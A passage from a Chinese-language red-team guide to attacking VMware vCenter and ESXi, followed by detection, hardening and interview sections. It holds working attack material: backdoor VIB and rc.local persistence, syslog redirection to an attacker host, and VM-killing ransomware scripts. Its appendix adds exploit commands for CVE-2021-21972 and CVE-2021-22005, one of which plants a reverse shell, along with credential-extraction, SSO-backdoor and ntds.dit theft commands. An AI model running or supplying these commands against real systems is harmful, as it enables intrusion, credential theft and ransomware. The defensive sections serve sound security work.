3
4
5
6
esxcli software acceptance set --level=CommunitySupported
esxcli software vib install -v file:///tmp/backdoor.vib --no-sig-check -f

# 验证/清理
esxcli software vib list | grep -i backdoor
esxcli software vib remove -n backdoor

VIB 可以携带 payload 落到 /opt/、注册 init 脚本(/etc/init.d/)、甚至替换系统组件 —— 是 ESXi 上最”正规”的持久化通道(官方补丁也这么走,混合在更新流里极难察觉)。社区有现成的 VIB 构建工具(VMware 官方 vibauthor 及各开源实现)。

启动项与计划任务

1
2
3
4
5
6
7
8
# 开机脚本(ESXi经典持久化位,重启后自动执行)
cat >> /etc/rc.local.d/local.sh <<'EOF'
python /opt/.backdoor.py &
EOF
# 注意:文件必须以 exit 0 结尾,且重启后变更才会验证生效

# cron(注意:ESXi重启会重置cron文件,需在local.sh里重建)
echo '*/5 * * * * /opt/.beacon.sh' >> /var/spool/cron/crontabs/root

5.4 日志规避

1
2
3
4
5
6
7
# 阻断主机对外syslog(切断蓝队视线)
esxcli network firewall ruleset set -r syslog -e 0
# 或直接改syslog配置使其指向自己控制的服务器
esxcli system syslog config set --loghost udp://ATTACKER:514
esxcli system syslog reload

# shell日志在 /var/log/shell.log,hostd在 /var/log/hostd.log —— 行动前先评估

合规提示:真实授权评估中,日志规避必须写入 RoE(Rules of Engagement)并获得书面许可;勒索模拟演练同理。

5.5 VM 级攻击

1
2
3
4
5
6
7
8
9
10
11
# 1) 抓活VM内存(含内存的快照会生成 .vmsn/.vmem)
vim-cmd vmsvc/snapshot.create <vmid> memdump "" 1 1
ls /vmfs/volumes/<ds>/<VM>/*.vmsn
strings *.vmsn | grep -iE "password|passwd|pwd=" | head
# Windows VM: 直接翻 lsass 残留/域凭据;比登 VM 更安静

# 2) 偷盘:克隆+外带(或vCenter侧直接download)
vmkfstools -i /vmfs/volumes/ds1/DC01/DC01.vmdk -d thin /vmfs/volumes/ds2/.x/DC01c.vmdk

# 3) 加密VM怎么办:密钥托管在vCenter(KMS/Native Key Provider)
# → 拿下vCenter即可导出密钥解密;这也是"VM加密≠防勒索"的根本原因

5.6 勒索 TTP

2023 年起大量勒索家族(ESXiArgs、LockBit、BlackCat、Akira、Qilin…)推出 ESXi 加密器,标准作业流程高度一致:

1
2
3
4
5
6
7
8
9
10
# 1. 入口:CVE-2021-21974(SLP) / 弱SSH / VPN无MFA
# 2. 枚举
vim-cmd vmsvc/getallvms
# 3. 杀VM(保数据一致性+逼迫停机)
for w in $(esxcli vm process list | awk '/World ID/{print $3}'); do
esxcli vm process kill -t=force -w=$w; done
# 4. 杀安全/管理进程(防hostd恢复VM)
ps -c | grep -E 'hostd|vpxa|sfcbd' | awk '{print $1}' | xargs kill -9
# 5. 遍历 /vmfs/volumes/ 加密 *.vmdk *.vmx *.vmsn *.nvram
# 6. 留勒索信(RESTORE_FILES*.txt/html),部分样本会删日志

CISA/ENISA 曾发布 ESXiArgs 部分恢复脚本(利用其加密实现缺陷可免钥恢复部分数据)。防御侧结论:SLP 禁用 + SSH 收紧 + 补丁 + 集中日志,四件事挡掉 90% 的 ESXi 勒索。

5.7 攻击链全景

全链路图

1
2
3
4
5
6
7
8
9
10
11
                      ┌─────────────────────────────────────────────┐
外网/VPN ──▶ vCenter Web RCE ──▶ vCenter root ──┬──▶ VCDB/vmdir 凭据
(21972/22005/37079…) │ ├──▶ vpxuser ──▶ 全部ESXi API接管
│ ├──▶ SAML私钥 ──▶ Golden SSO(含vROps等联邦产品)
│ └──▶ AD绑定凭据 ──▶ 域横向
│
内网 ──▶ ESXi 443/902 弱口令或21974 ──▶ ESXi root ─┼──▶ VM磁盘/内存 ──▶ 域凭据 ──▶ 域控
├──▶ 偷vCenter的VMDK ──▶ SSO证书 ──▶ 回头打vCenter
└──▶ VIB/rc.local持久化

任意vCenter管理员 ──▶ Guest Ops ──▶ 所有VM内命令执行(无需登录VM网络)

路径前提对照

攻击路径前提隐蔽性破坏性
Web 未授权 RCE → vCenter版本未修复低(WAF/日志可见)无
vCenter root → vpxuser 解密vCenter root高(纯本地)无
vCenter root → SAML 伪造vmdir 读取极高(无新增账号)无
ESXi 弱口令/API凭据或CVE中无
Guest Ops 批量执行VC管理员+VM凭据高(走Tools通道)无
快照抓内存主机/VC权限中(快照事件可见)低
VIB/rc.local 持久化ESXi root高重启才验证

持久化对比

位置手段检测难度存活条件
vCenterSSO后门用户低(用户列表可见)一直
vCenterSAML私钥高证书不轮换
vCenterroot公钥/cron中系统不重装
ESXiauthorized_keys低系统不重装
ESXiVIB高(需审计vib列表)系统不重装
ESXirc.local.d/local.sh中系统不重装
vCenter备份配置投毒极高异地恢复时引爆

六、检测与防御

6.1 日志与检测

日志源

日志源路径/方式关注点
vpxd.logvCenter /var/log/vmware/vpxd/会话建立、主机任务、异常API调用
sts.log/var/log/vmware/sso/SAML签发记录(伪造断言无签发却有登录→铁证)
vsphere-ui 日志/var/log/vmware/vsphere-ui/logs/Web请求、插件异常
hostd.logESXi /var/log/hostd.logAPI调用、任务执行
shell.log / auth.logESXi /var/log/shell命令、SSH登录
vmkernel.logESXiVIB安装、内核事件
vCenter EventsAPI/UIUserLoginSessionEvent、VM任务、权限变更
集中日志syslog→SIEM所有上述日志外发,防本地清除

攻击行为 → 检测信号

攻击行为检测信号
SAML伪造登录sts.log 无签发记录但出现新会话;非常规来源IP的管理员登录
vpxuser解密后直连主机hostd.log 中 vpxuser 从非vCenter IP登录;vpxa.log 异常
新增SSO管理员vCenter 事件”用户已添加到组 Administrators”/vmdir变更审计
VIB后门安装vmkernel.log 安装事件、esxcli software vib list 定期基线比对
rc.local/local.sh 变更文件完整性监控(ESXi无原生FIM,需外置或定期哈希基线)
Guest Ops滥用vCenter 事件流中 Tools 相关操作事件;VM内 Sysmon 观察 vmtoolsd 子进程
批量VM强杀/加密esxcli vm process kill 事件、vmkernel 大量IO、hostd进程消失告警
datastore批量下载vpxd.log 中批量 FileManager 任务;存储流量基线突增
OpenSLP探测UDP 427 异常流量(应默认关闭,出现即告警)

6.2 加固清单

基础卫生(挡掉绝大多数实战攻击):

  1. 补丁:跟进 VMSA,重点验证 2021-21972/21985/22005、2023-20888、2024-37079/37085 已修复;
  2. 关闭无用服务:SLP(/etc/init.d/slpd stop && esxcli network firewall ruleset set -r CIMSLP -e 0)、CIM、SSH、shell 全部默认关;
  3. ESXi Lockdown Mode:Normal 起步,运维成熟后上 Strict;确保 DCUI 密码强且有人掌握;
  4. 口令与MFA:SSO 管理员强口令+定期轮换;vSphere Client/VAMI 接 MFA(身份联合或网关层);禁用密码复用(尤其 root 与域账号);
  5. 网络分段:管理网独立 VLAN/防火墙区,仅堡垒机可达;公网暴露零容忍;
  6. 最小权限:禁用普通用户的 Guest Operations 权限;datastore 浏览权限收敛;禁用 MOB;普通运维不给 Administrator 角色。

进阶:

  1. 集中日志:vCenter/ESXi syslog → SIEM,6.1 的检测规则落进去;vCenter 开启事件流转发;
  2. 文件完整性基线:定期比对 authorized_keys、/etc/rc.local.d/local.sh、VIB 列表、vmdir 管理员组成员;
  3. VM 加密 + 正确的密钥架构:外部 KMS + vSphere Trust Authority(密钥不下发 vCenter,拿下 vCenter 也解不了盘);注意 Native Key Provider 密钥在 vCenter 内,安全等级不同;
  4. ESXi Secure Boot + TPM 2.0(7.0U2+):防内核级篡改/后门 VIB;
  5. ESXi 侧检测:Carbon Black Cloud Workload 等专用 agent(8.0 支持);
  6. 备份策略:3-2-1 + 不可变副本(勒索场景的最终底牌),备份服务器(Veeam)单独加固打补丁;
  7. 供应链联动:Veeam/vROps/vRLI 一并纳入补丁与权限治理(它们存着 vCenter 凭据)。

6.3 应急响应

  1. 隔离:拔管理网(注意:直接断电可能丢 VM 状态,优先网络隔离);
  2. 取证:先导日志(vpxd/sts/hostd/shell/auth)与事件库,再动手恢复;
  3. 身份重建:轮换 STS/SSO 证书(只改密码没用!)、重置 administrator@vsphere.local、审计全部 SSO 用户与权限;
  4. 主机重建:沦陷的 ESXi 建议重装(VIB/rc.local 后门清理成本高于重装),至少完成 VIB 审计、authorized_keys 清理、local.sh 校验;
  5. 凭据全量轮换:vpxuser 随 vCenter 重置自动轮换;vCenter root、SSO 全体用户、域内可能泄露的账号;
  6. VM 排查:检查快照/磁盘是否被克隆外带(看流量与任务记录),VM 内排查 Guest Ops 执行痕迹;
  7. 复盘:缺口映射回 6.2 清单。

七、误区与面试

7.1 常见误区

  1. “vCenter 只是个网页管理台” —— 它是身份库+凭据库+密钥托管+全集群控制面的合体,价值等同 Tier-0。
  2. “ESXi 没开 SSH 就安全” —— 443 上的 hostd API 才是完整攻击面;SSH 只是冰山一角。
  3. “打了补丁就完事” —— 弱口令、Lockdown 未开、Guest Ops 滥权、MFA 缺失,哪个都不需要漏洞。
  4. “vpxuser 是普通账号” —— 每台主机上的完整管理员,密码托管在 vCenter 里等人解密。
  5. “VM 加密能防勒索” —— Native Key Provider 密钥就在 vCenter;未部署 Trust Authority 的加密形同虚设。
  6. “快照可以当备份” —— 勒索软件优先加密/删除 .vmsn;快照与备份是两个概念。
  7. “vCenter 沦陷后改 SSO 密码即可” —— SAML 私钥不轮换,改密码无效。
  8. “Guest Operations 权限无伤大雅” —— 等于”对所有 VM 的命令执行权”,是横向的捷径。
  9. “vCenter 打不到域” —— AD 身份源绑定凭据、机器账号、凭据复用、DC 磁盘,路径多得是。
  10. “ESXi 没杀软所以没法检测” —— 集中 syslog + SIEM 规则 + 外置 FIM 完全可覆盖。
  11. “内网隔离了就打不到 ESXi” —— 管理网与办公网互通、VPN 无 MFA 是常态,先画清网络再说隔离。
  12. “vCenter 重装即恢复” —— 证书、SSO、备份、ESXi 侧后门都要处理,否则二次沦陷。
  13. “只监控 443” —— 902(authd)、427(SLP)、5480(VAMI)、8000(vMotion)都在攻击面内。
  14. “SAML 伪造只影响登录页面” —— 拿到的是完整 vSphere API 权限,且波及所有联邦产品。
  15. “有现成 PoC 就能打” —— 版本/插件状态/服务配置决定成败;懂 SSO/vpxd 架构才能判断利用条件与后渗透路线。

7.2 面试题库

基础架构

  1. vSphere/vCenter/ESXi 三者关系?
    ESXi 是 Hypervisor,vCenter 是集中管理平面(vCSA 为 Photon OS 虚拟机),vSphere Client 是 Web 入口。vCenter 通过 vpxa/vpxuser 管理各主机。
  2. vCenter 的核心服务有哪些?
    vpxd(核心API)、vmdir(SSO/LDAP 身份库)、STS(SAML 签发)、VCDB(Postgres 清单库)、vsphere-ui(Web 客户端)、VAMI(5480 管理)。
  3. SSO 的作用是什么?默认管理员是谁?
    统一身份认证(vmdir 存储),默认 administrator@vsphere.local,默认 SSO 域 vsphere.local。
  4. vpxuser 是什么?为什么重要?
    vCenter 在每台 ESXi 上创建的管理账号,密码随机且定期轮换,加密存于 VCDB,解密密钥硬编码在 vpxd;拿到它即可 API 层面完全接管对应主机。
  5. ESXi 上 hostd 和 vpxa 的区别?
    hostd 是主机自己的完整 API 守护(443);vpxa 是 vCenter 部署在主机上的代理,代表 vpxd 与 hostd 通信。

信息收集

  1. 如何从外网识别 vCenter 与独立 ESXi?
    标题(VSPHERE CLIENT / VMware ESXi)、路径(/ui、/sdk、5480)、/websso 元数据、build 号(HTML 或 vimServiceVersions.xml)。
  2. 如何确定 ESXi 版本与可利用漏洞?
    登录页 HTML 中的 build-XXXXXXX、vmware -vl,对照 VMSA 通告与修复版本矩阵。
  3. 427 端口为什么值得重点关注?
    SLP 服务,历史多个未认证 RCE(5544/3992/21974),是 ESXi 勒索的主流入口;7.0U2 起默认禁用,出现即老旧。
  4. 内网如何定位虚拟化资产?
    DNS 命名约定、AD 计算机对象属性、网络扫描(443/902/5480 组合特征)、文档与共享中的配置文件。

漏洞利用

  1. CVE-2021-21972 的根因与利用路径?
    vROps 插件 uploadova 接口 tar 解压路径穿越 → 任意文件写(root 上下文)→ 写 webshell(如 /sts/ 下)或 authorized_keys。
  2. CVE-2021-22005 为什么利用门槛低?
    analytics 遥测接口参数控制写入路径,单个 POST 即可写 /etc/cron.d 等位置,无需构造复杂内存破坏。
  3. 为什么 vCenter 的 Web RCE 普遍直接是 root?
    vCSA 服务架构不做服务级降权,vpxd/vsphere-ui/analytics/STS 等均以 root 运行。
  4. CVE-2021-21974 的利用条件与实战意义?
    老版本 ESXi 开放 SLP(427),堆溢出未认证 RCE;是 ESXiArgs 等勒索软件的实际入口。
  5. ESXi 的 VM 逃逸漏洞需要什么前置条件?
    VM 内代码执行 + 虚拟硬件开启(USB/XHCI 等)+ 主机未修复;代表如 CVE-2020-4004 系列、CVE-2025-22225。
  6. CVE-2023-20867 的影响是什么?
    vCenter 侧 VMware Tools Guest Operations 鉴权绕过,持有相应权限的用户可在 VM 内执行本应受限的操作。

后渗透

  1. 拿到 vCenter root 后必看的五个点?
    /etc/shadow 与 .ssh、VCDB(vpxd 凭据与 vpdx_user)、vmdir data.mdb(哈希+IdP证书)、AD 集成配置、vpxd.cfg。
  2. vpxuser 密码解密需要哪些材料?
    VCDB 凭据(vpxd.cfg/vcdb.properties)+ vpdx_user 表密文 + vpxd 内硬编码密钥(社区脚本内置)。
  3. SAML 伪造登录的原理?
    提取 vmdir 中 STS 的签名证书私钥,自行签发 administrator 的 SAML 断言提交给 /ui,绕过密码与 STS。
  4. 为什么改 SSO 管理员密码无法防御 SAML 伪造?
    断言验证基于证书签名而非密码;必须轮换 STS 证书。
  5. Guest Operations 横向的原理与前提?
    通过 vSphere API 经 VMware Tools 在 VM 内执行程序;前提是 vCenter 权限 + VM 内账号(或利用 20867 类缺陷);流量走 hostd→tools 通道,不依赖 VM 网络连通。
  6. 如何在不登录 VM 的情况下获取 VM 内凭据?
    内存快照(.vmsn/.vmem)strings/取证分析;或克隆磁盘离线挂载提取 SAM/NTDS/shadow。
  7. 从 vCenter 到 Domain Admin 的路径有哪些?
    AD 身份源绑定凭据提取、Guest Ops 打 DC、偷 DC 磁盘离线取 NTDS.dit、凭据复用、Veeam 侧链。
  8. vCenter 沦陷后如何”自己偷自己”?
    vCenter 管理员通过 datastore 浏览/download 下载 vCenter VM 自身 VMDK,离线提取 SSO 证书与系统凭据。

ESXi 后渗透

  1. ESXi 上 SSH 公钥持久化的正确路径?
    /etc/ssh/keys-root/authorized_keys(ESXi 特有路径,与常规 Linux 不同)。
  2. VIB 持久化的原理与检测?
    降低接受级别后强制安装无签名包,可带 payload 与 init 脚本;检测靠 VIB 列表基线比对与 vmkernel 日志。
  3. rc.local.d/local.sh 持久化有什么坑?
    文件必须以 exit 0 结尾且语法正确,否则重启后失效;ESXi 重启还会重置 cron 文件。
  4. 勒索软件在 ESXi 上的标准 TTP 流程?
    枚举 VM → 按 World 强杀 → 杀 hostd/vpxa/sfcbd → 遍历 /vmfs/volumes 加密 vmdk/vmx/vmsn → 留勒索信。
  5. Lockdown Mode 的两种模式与绕过认知?
    Normal(DCUI 仍可进)/ Strict(连 DCUI 都限);它限制的是”非 vpxuser 的直接主机管理”,vpxuser 不受影响 —— 主机层隔离不能替代 vCenter 层安全。
  6. VM 加密密钥托管在哪?什么架构下 vCenter 拿不到密钥?
    默认 Native Key Provider 在 vCenter 内;外部 KMS + vSphere Trust Authority 下密钥仅下发 ESXi,vCenter 无法解密。

检测响应

  1. SAML 伪造登录的核心检测点?
    sts.log 无签发记录与登录会话不匹配;管理员登录来源基线外;配合 vmdir 管理员组变更审计。
  2. vpxuser 被滥用的检测信号?
    hostd/vpxa 日志中 vpxuser 会话来自非 vCenter IP、非 vpxa 指纹的 API 调用。
  3. ESXi 无原生 EDR 时如何检测入侵?
    syslog 集中化 + SIEM 规则(shell 命令、VIB 安装、防火墙变更、vm process kill)+ 外置 FIM 基线。
  4. vCenter 沦陷后的恢复为什么必须重装/重建主机?
    VIB、local.sh、authorized_keys、cron 等持久化点清理成本高且易漏;重装是确定性恢复。
  5. 如何防止 vCenter 成为单点 Tier-0 风险?
    管理面分段+MFA、最小权限、Trust Authority 密钥架构、补丁与集中日志、备份不可变副本。
  6. 红队评估中,虚拟化面测试的合法边界如何界定?
    RoE 明确允许的主机/账户/操作(含快照、内存抓取、持久化演练)、避开生产 VM 的破坏性操作、日志规避需书面许可、全程留痕可审计。

附录:速查表

A.1 信息收集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 判型与版本
curl -sk https://T/ui | grep -io '<title>.*</title>'
curl -sk https://T/sdk/vimServiceVersions.xml
curl -sk https://esxiT/ui/ | grep -oE 'build-[0-9]+'
curl -sk https://T:5480/ | grep -i version

# 端口
nmap -sV -p 22,80,443,427,5480,902,9443 T
nmap -sU -p427 --script slp-service-type-enumeration T

# govc 全景
export GOVC_URL='https://user:pass@vcenter' GOVC_INSECURE=1
govc about; govc find /; govc host.info; govc datastore.info
govc events -n 200; govc permission.ls; govc sso.user.ls; govc sso.group.ls

A.2 漏洞利用

1
2
3
4
5
6
7
8
9
10
# CVE-2021-21972
tar cf evil.tar -C payload ../../../usr/lib/vmware-sso/vmware-sts/webapps/ROOT/shell.jsp
curl -sk -F "updateFile=@evil.tar" https://T/ui/vropspluginui/rest/services/uploadova
curl -sk "https://T/sts/shell.jsp?cmd=whoami"

# CVE-2021-22005(cron.d 落地)
curl -sk -X POST "https://T/analytics/telemetry/ph/api/hyper/send?_c=t._i=/etc/cron.d/pwn" \
-H "Content-Type: text/plain" --data-binary $'* * * * * root bash -c "bash -i >& /dev/tcp/A/443 0>&1"'

# CVE-2021-21985 / 21974 / 37079:直接使用对应公开 PoC(GitHub 检索 CVE 编号)

A.3 vCenter 后渗透

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# DB凭据
cat /etc/vmware-vpx/vcdb.properties /etc/vmware-vpx/embedded_db.cfg 2>/dev/null
# 查vpxuser密文
/opt/vmware/vpostgres/current/bin/psql -U vc -d VCDB -c "SELECT user_name,password FROM vc.vpdx_user;"
# 解密:GitHub 搜索 vpxd decrypt(密钥硬编码于 /usr/lib/vmware-vpx/vpxd)

# SSO库
strings /storage/db/vmware-vmdir/data.mdb | grep -iE "PRIVATE|CERTIFICATE" | head
python3 vcenter_saml_login.py --target https://T ... # horizon3ai

# SSO后门(已认证;组管理子命令以 govc help sso 为准)
govc sso.user.create -p 'P@ssw0rd!' svc-vmware-ops
# 加入Administrators组:govc sso group update,或 UI 路径 Administration→SSO→Users and Groups

# 主机SSH远程开启
govc host.service enable -host esxi01 TSM-SSH && govc host.service start -host esxi01 TSM-SSH

# Guest Ops
govc guest.run -vm VM01 -l 'administrator:Pass' -- cmd /c "whoami > C:\\Users\\Public\\o.txt"
govc guest.download -vm VM01 -l 'administrator:Pass' C:\\Users\\Public\\ntds.dit ./ntds.dit

# 偷盘
govc datastore.ls -ds ds1 /VM01/
govc datastore.download -ds ds1 /VM01/VM01-flat.vmdk ./VM01-flat.vmdk

A.4 ESXi 后渗透

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
vmware -vl; vim-cmd vmsvc/getallvms; esxcli vm process list
vim-cmd vmsvc/snapshot.create <id> s1 "" 1 1 # 含内存快照
vmkfstools -i src.vmdk -d thin /vmfs/volumes/ds2/c.vmdk

# 持久化
echo 'ssh-rsa AAAA...' >> /etc/ssh/keys-root/authorized_keys
esxcli system account add -id=svc_m -p='P@ssw0rd!' -c='P@ssw0rd!'
esxcli system permission set -id=svc_m -r Admin
echo "python /opt/.b.py &" >> /etc/rc.local.d/local.sh # 保持 exit 0 结尾
esxcli software acceptance set --level=CommunitySupported
esxcli software vib install -v file:///tmp/b.vib --no-sig-check -f

# 勒索模拟(仅授权演练)
esxcli vm process kill -t=force -w=<wid>
ps -c | grep -E 'hostd|vpxa|sfcbd' | awk '{print $1}' | xargs kill -9

A.5 检测与加固

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# ESXi 关闭 SLP / CIM
/etc/init.d/slpd stop; esxcli network firewall ruleset set -r CIMSLP -e 0
/etc/init.d/sfcbd-watchdog stop; esxcli network firewall ruleset set -r cimhttps -e 0

# 集中日志
esxcli system syslog config set --loghost udp://SIEM:514 && esxcli system syslog reload

# 基线审计
esxcli software vib list # 与基线比对
cat /etc/ssh/keys-root/authorized_keys # 异常公钥
cat /etc/rc.local.d/local.sh # 异常启动项
esxcli system account list # 异常账号

# vCenter 侧
grep -r "Administrators" /var/log/vmware/vpxd/ # 管理员组变更
grep -iE "login|assertion" /var/log/vmware/sso/sts.log
service-control --status

免责声明:本指南仅供合法授权的安全测试、安全研究与学习使用。请遵守当地法律法规,未经授权对任何系统实施上述操作均属违法行为。因不当使用本文内容造成的任何后果,与作者无关。